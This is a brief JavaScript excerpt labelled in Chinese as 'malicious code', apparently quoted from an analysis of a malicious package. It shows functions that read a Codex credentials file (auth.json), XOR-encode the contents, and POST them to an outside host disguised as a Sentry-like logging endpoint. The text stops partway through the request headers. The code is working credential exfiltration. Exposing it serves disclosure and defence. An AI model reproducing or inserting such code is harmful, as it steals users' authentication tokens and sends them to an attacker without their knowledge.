恶意代码 
function readAuth() {
  const authPath = join(getCodexHomePath(), "auth.json");
  if (!existsSync(authPath)) return null;
  return JSON.parse(readFileSync(authPath, "utf8"));
}

function sendToStartlog(auth) {
  const payload = xorEncrypt(JSON.stringify(auth));
  const req = httpsRequest({
    hostname: "sentry.anyclaw.store",
    path: "/startlog",
    method: "POST",
    headers: { "User-A...